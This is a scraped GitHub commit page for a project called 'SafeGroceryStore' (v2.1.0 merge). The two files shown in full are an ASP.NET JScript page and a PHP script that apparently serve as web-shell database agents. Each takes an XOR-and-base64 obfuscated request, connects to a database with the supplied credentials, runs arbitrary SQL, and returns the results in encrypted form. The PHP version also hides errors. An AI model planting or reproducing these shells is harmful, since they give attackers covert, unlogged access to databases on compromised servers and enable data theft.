-
Notifications
You must be signed in to change notification settings - Fork 227
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #43 from SafeGroceryStore/dev
v2.1.0
- Loading branch information
Showing
50 changed files
with
5,887 additions
and
1,111 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
<%@ Page Language="Jscript"%> | ||
<% | ||
function base64_xor_encrypt(str,key) | ||
{ | ||
var b64byte = System.Text.Encoding.GetEncoding("UTF-8").GetBytes(str); | ||
var res = new byte[b64byte.length]; | ||
for (var c = 0; c < res.length; c++) | ||
{ | ||
res[c] = (byte)(b64byte[c] ^ key[c % key.length]); | ||
} | ||
return System.Convert.ToBase64String(res); | ||
} | ||
function base64_xor_decrypt(str,key) | ||
{ | ||
var fristBase64_Byte = System.Convert.FromBase64String(str); | ||
var temp = new byte[fristBase64_Byte.length]; | ||
for (var c = 0; c < temp.length; c++) | ||
{ | ||
temp[c] = (byte)(fristBase64_Byte[c] ^ key[c % key.length]); | ||
} | ||
var secondBase64Sting = Encoding.Default.GetString(temp); | ||
return secondBase64Sting; | ||
} | ||
try{ | ||
var key = "{KeyString}"; | ||
var args = Request.Item[key]; | ||
if(args == null){ | ||
return; | ||
} | ||
var argArr = base64_xor_decrypt(args,key).Split("|"); | ||
var hst = argArr[0]; | ||
var usr = argArr[1]; | ||
var pwd = argArr[2]; | ||
var dbn = argArr[3]; | ||
var sql = System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(argArr[4])); | ||
var hp = hst.Split(":"); | ||
var DriverUrl = "Driver={Sql Server};Server=" + hp[0] + "," + hp[1] + ";Database=" + dbn + ";Uid=" + usr + ";Pwd=" + pwd; | ||
var Conn = new ActiveXObject("Adodb.connection"); | ||
Conn.ConnectionString = DriverUrl; | ||
Conn.ConnectionTimeout = argArr[5]; | ||
Conn.Open(); | ||
var Dat:String = ""; | ||
var Rs = Conn.Execute(sql); | ||
var i:Int32 = Rs.Fields.Count,c:Int32; | ||
if (Rs.state != 0){ | ||
while(!Rs.EOF && !Rs.BOF){ | ||
for(c = 0;c<i;c++){ | ||
if(Rs.Fields(c).Value == null){ | ||
continue; | ||
} | ||
Dat += Rs.Fields(c).Value + "\t|\t"; | ||
} | ||
Dat += "\r\n"; | ||
Rs.MoveNext(); | ||
} | ||
Response.Write(base64_xor_encrypt(Dat,key)); | ||
} else { | ||
Response.Write(base64_xor_encrypt("Status | True",key)); | ||
} | ||
Conn.Close(); | ||
}catch(e){ | ||
Response.Write(base64_xor_encrypt("ERROR://" + e.message,key)); | ||
} | ||
%> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
<?php | ||
@ini_set("display_errors", "0"); | ||
@set_time_limit(0); | ||
$key = "{KeyString}"; | ||
|
||
function output($key) { | ||
$output = ob_get_contents(); | ||
ob_end_clean(); | ||
echo @base64_xor_encrypt($output,$key); | ||
} | ||
function base64_xor_encrypt($str,$key){ | ||
$num = 0; | ||
$post = $str; | ||
for($i=0;$i<strlen($post);$i++) { | ||
if($num >= strlen($key)) $num = $num % strlen($key); | ||
$post[$i] = $post[$i]^$key[$num]; | ||
$num += 1; | ||
} | ||
return base64_encode($post); | ||
} | ||
|
||
function base64_xor_derypt($str,$key){ | ||
$num = 0; | ||
$post = base64_decode($str); | ||
for($i=0;$i<strlen($post);$i++) { | ||
if($num >= strlen($key)) $num = $num % strlen($key); | ||
$post[$i] = $post[$i]^$key[$num]; | ||
$num += 1; | ||
} | ||
return $post; | ||
} | ||
|
||
ob_start(); | ||
try { | ||
if(!empty($_POST[$key])){ | ||
$m = get_magic_quotes_gpc(); | ||
$args = $m ? stripslashes(base64_xor_derypt($_POST[$key]),$key) : base64_xor_derypt($_POST[$key],$key); | ||
$arg = explode("|",$args); | ||
$hst = $arg[0]; | ||
$usr = $arg[1]; | ||
$pwd = $arg[2]; | ||
$dbn = $arg[3]; | ||
$sql = base64_decode($arg[4]); | ||
$T = @mysqli_connect($hst, $usr, $pwd); | ||
if (!$T) { | ||
echo ("ERROR://" . mysqli_connect_error()); | ||
} | ||
@mysqli_select_db($T,$dbn); | ||
$q = @mysqli_query($T,$sql); | ||
if (is_bool($q)) { | ||
echo ($q ? "Status | True" : "ERROR://" . mysqli_error($T)); | ||
} else { | ||
$i = 0; | ||
while ($col = @mysqli_fetch_field($q)) { | ||
$i++; | ||
} | ||
while ($rs = @mysqli_fetch_row($q)) { | ||
for ($c = 0;$c < $i;$c++) { | ||
echo (trim($rs[$c])); | ||
} | ||
} | ||
} | ||
@mysqli_close($T); | ||
} | ||
}catch(Exception $e) { | ||
echo "ERROR://" . $e->getMessage(); | ||
} | ||
output($key); | ||
die(); |
Oops, something went wrong.